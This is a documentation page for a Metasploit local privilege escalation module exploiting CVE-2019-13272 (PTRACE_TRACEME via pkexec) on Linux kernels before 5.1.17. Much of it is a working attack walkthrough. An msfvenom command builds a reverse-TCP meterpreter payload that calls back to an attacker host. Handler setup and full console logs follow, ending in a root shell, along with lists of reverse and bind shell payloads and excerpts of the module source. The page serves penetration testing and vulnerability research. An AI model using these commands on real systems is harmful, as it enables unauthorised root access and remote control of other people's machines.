Linux Polkit pkexec helper PTRACE_TRACEME local root exploit - Metasploit


This page contains detailed information about how to use the exploit/linux/local/ptrace_traceme_pkexec_helper metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Linux Polkit pkexec helper PTRACE_TRACEME local root exploit
Module: exploit/linux/local/ptrace_traceme_pkexec_helper
Source code: modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb
Disclosure date: 2019-07-04
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2019-13272

This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but not over an SSH session, as it requires execution from within the context of a user with an active Polkit agent. In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/ptrace_traceme_pkexec_helper
msf exploit(ptrace_traceme_pkexec_helper) > show targets
    ... a list of targets ...
msf exploit(ptrace_traceme_pkexec_helper) > set TARGET target-id
msf exploit(ptrace_traceme_pkexec_helper) > show options
    ... show and set options ...
msf exploit(ptrace_traceme_pkexec_helper) > set SESSION session-id
msf exploit(ptrace_traceme_pkexec_helper) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but not over an SSH session, as it requires execution from within the context of a user with an active Polkit agent.

In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround in some environments.

This module has been tested successfully on: * Ubuntu 16.04.5 kernel 4.15.0-29-generic * Ubuntu 18.04.1 kernel 4.15.0-20-generic * Ubuntu 19.04 kernel 5.0.0-15-generic * Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic * Linux Mint 17.3 kernel 4.4.0-89-generic * Linux Mint 18.3 kernel 4.13.0-16-generic * Linux Mint 19 kernel 4.15.0-20-generic * Xubuntu 16.04.4 kernel 4.13.0-36-generic * ElementaryOS 0.4.1 4.8.0-52-generic * Backbox 6 kernel 4.18.0-21-generic * Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64 * Kali kernel 4.19.0-kali5-amd64 * Redcore 1806 (LXQT) kernel 4.16.16-redcore * MX 18.3 kernel 4.19.37-2~mx17+1 * RHEL 8.0 kernel 4.18.0-80.el8.x86_64 * Debian 9.4.0 kernel 4.9.0-6-amd64 * Debian 10.0.0 kernel 4.19.0-5-amd64 * Devuan 2.0.0 kernel 4.9.0-6-amd64 * SparkyLinux 5.8 kernel 4.19.0-5-amd64 * Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64 * Manjaro 18.0.3 kernel 4.19.23-1-MANJARO * Mageia 6 kernel 4.9.35-desktop-1.mga6 * Antergos 18.7 kernel 4.17.6-1-ARCH

Verification Steps


  1. Start msfconsole
  2. Get a shell or meterpreter session on the target
  3. Do: use exploit/linux/local/ptrace_traceme_pkexec_helper
  4. Do: set session #
  5. Do: exploit

Options


WritableDir

A folder we can write files to. Defaults to /tmp

COMPILE

If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto

Scenarios


Ubuntu 18.04 (with Linux 4.15.0-13-generic)

Initial Access


We need to gain an initial session on the target system before we can use this module. Additionally this module will only work from a GUI session, and will fail with an SSH session. In order to gain a compatible session we will upload a payload binary and run it from gnome-terminal.

# Create a payload binary
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o binary

# Start a handler
msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.56.1:4444

# Execute the payload using gnome-terminal on the target

[*] Sending stage (3021284 bytes) to 192.168.56.7
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.7:33244) at 2019-09-03 17:42:17 +0800

meterpreter > background

Escalate


In this scenario, gcc is installed so we can live compile on the system.

msf5 exploit(multi/handler) > use exploit/linux/local/ptrace_traceme_pkexec_helper
msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set SESSION 1
SESSION => 1
msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set VERBOSE true
VERBOSE => true
msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > exploit
[*] Started reverse TCP handler on 192.168.56.1:4444
[+] Kernel version 4.15.0-13-generic appears to be vulnerable
[+] pkexec is installed
[*] Writing '/tmp/.zacecz' (285 bytes) ...
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.fmrefxhjjcq.c' (9718 bytes) ...
[*] Executing exploit '/tmp/.fmrefxhjjcq'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 192.168.56.7
[*] Exploit result:
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[!] Warning: $XDG_SESSION_ID is not set
[!] Warning: Could not find active PolKit agent
[~] Done, looks good
[.] Searching for known helpers ...
[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
[.] Tracing midpid ...
[~] Attached to midpid
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:58270) at 2019-09-03 17:29:57 +0800
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

Escalate w/ pre-compiled binaries


It is possible to force pre-compiled binaries, in a scenario where build-essential or gcc aren't on the system.

msf5 exploit(multi/handler) > use exploit/linux/local/ptrace_traceme_pkexec_helper
msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set SESSION 1
SESSION => 1
msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set COMPILE False
COMPILE => False
msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[+] Kernel version 4.15.0-13-generic appears to be vulnerable
[+] pkexec is installed
[*] Writing '/tmp/.yaamzkukaml' (285 bytes) ...
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/.wtoplrisgzzo' (51200 bytes) ...
[*] Executing exploit '/tmp/.wtoplrisgzzo'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 192.168.56.7
[*] Exploit result:
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[!] Warning: $XDG_SESSION_ID is not set
[!] Warning: Could not find active PolKit agent
[~] Done, looks good
[.] Searching for known helpers ...
[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
[.] Tracing midpid ...
[~] Attached to midpid
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.7:58272) at 2019-09-03 17:30:16 +0800

Go back to menu.

Msfconsole Usage


Here is how the linux/local/ptrace_traceme_pkexec_helper exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/ptrace_traceme_pkexec_helper

[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ptrace_traceme_pkexec_helper) > show info

       Name: Linux Polkit pkexec helper PTRACE_TRACEME local root exploit
     Module: exploit/linux/local/ptrace_traceme_pkexec_helper
   Platform: Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-07-04

Provided by:
  Jann Horn
  bcoles <[email protected]>
  timwr

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Auto

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  This module exploits an issue in ptrace_link in kernel/ptrace.c 
  before Linux kernel 5.1.17. This issue can be exploited from a Linux 
  desktop terminal, but not over an SSH session, as it requires 
  execution from within the context of a user with an active Polkit 
  agent. In the Linux kernel before 5.1.17, ptrace_link in 
  kernel/ptrace.c mishandles the recording of the credentials of a 
  process that wants to create a ptrace relationship, which allows 
  local users to obtain root access by leveraging certain scenarios 
  with a parent-child process relationship, where a parent drops 
  privileges and calls execve (potentially allowing control by an 
  attacker). One contributing factor is an object lifetime issue 
  (which can also cause a panic). Another contributing factor is 
  incorrect marking of a ptrace relationship as privileged, which is 
  exploitable through (for example) Polkit's pkexec helper with 
  PTRACE_TRACEME.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-13272
  https://www.exploit-db.com/exploits/47133
  https://packetstormsecurity.com/files/153663
  https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
  https://bugs.chromium.org/p/project-zero/issues/detail?id=1903

Module Options


This is a complete list of options available in the linux/local/ptrace_traceme_pkexec_helper exploit:

msf6 exploit(linux/local/ptrace_traceme_pkexec_helper) > show options

Module options (exploit/linux/local/ptrace_traceme_pkexec_helper):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
   SESSION                   yes       The session to run this module on.

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options


Here is a complete list of advanced options supported by the linux/local/ptrace_traceme_pkexec_helper exploit:

msf6 exploit(linux/local/ptrace_traceme_pkexec_helper) > show advanced

Module advanced options (exploit/linux/local/ptrace_traceme_pkexec_helper):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  true             no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/ptrace_traceme_pkexec_helper module can exploit:

msf6 exploit(linux/local/ptrace_traceme_pkexec_helper) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/ptrace_traceme_pkexec_helper exploit:

msf6 exploit(linux/local/ptrace_traceme_pkexec_helper) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   10  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   11  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   12  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   13  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   14  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   15  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/ptrace_traceme_pkexec_helper exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/ptrace_traceme_pkexec_helper) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Kernel version <RELEASE> is not vulnerable


Here is a relevant code snippet related to the "Kernel version <RELEASE> is not vulnerable" error message:

71:	    # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
72:	    release = kernel_release
73:	    v = Rex::Version.new release.split('-').first
74:	
75:	    if v >= Rex::Version.new('5.1.17') || v < Rex::Version.new('3')
76:	      vprint_error "Kernel version #{release} is not vulnerable"
77:	      return CheckCode::Safe
78:	    end
79:	    vprint_good "Kernel version #{release} appears to be vulnerable"
80:	
81:	    unless command_exists? 'pkexec'

pkexec is not installed


Here is a relevant code snippet related to the "pkexec is not installed" error message:

77:	      return CheckCode::Safe
78:	    end
79:	    vprint_good "Kernel version #{release} appears to be vulnerable"
80:	
81:	    unless command_exists? 'pkexec'
82:	      vprint_error 'pkexec is not installed'
83:	      return CheckCode::Safe
84:	    end
85:	    vprint_good 'pkexec is installed'
86:	
87:	    arch = kernel_hardware

System architecture <ARCH> is not supported


Here is a relevant code snippet related to the "System architecture <ARCH> is not supported" error message:

84:	    end
85:	    vprint_good 'pkexec is installed'
86:	
87:	    arch = kernel_hardware
88:	    unless arch.include? 'x86_64'
89:	      vprint_error "System architecture #{arch} is not supported"
90:	      return CheckCode::Safe
91:	    end
92:	    vprint_good "System architecture #{arch} is supported"
93:	
94:	    loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')

This is exploit requires a valid policykit session (it cannot be executed over ssh)


Here is a relevant code snippet related to the "This is exploit requires a valid policykit session (it cannot be executed over ssh)" error message:

91:	    end
92:	    vprint_good "System architecture #{arch} is supported"
93:	
94:	    loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
95:	    if loginctl_output =~ /Remote=yes/
96:	      print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
97:	      return CheckCode::Safe
98:	    end
99:	
100:	    CheckCode::Appears
101:	  end

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

100:	    CheckCode::Appears
101:	  end
102:	
103:	  def exploit
104:	    if is_root? && !datastore['ForceExploit']
105:	      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
106:	    end
107:	
108:	    unless writable? datastore['WritableDir']
109:	      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
110:	    end

<WRITABLEDIR> is not writable


Here is a relevant code snippet related to the "<WRITABLEDIR> is not writable" error message:

104:	    if is_root? && !datastore['ForceExploit']
105:	      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
106:	    end
107:	
108:	    unless writable? datastore['WritableDir']
109:	      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
110:	    end
111:	
112:	    payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
113:	    upload_and_chmodx(payload_file, generate_payload_exe)
114:	    register_file_for_cleanup(payload_file)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Jann Horn
  • bcoles
  • timwr

Version


This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.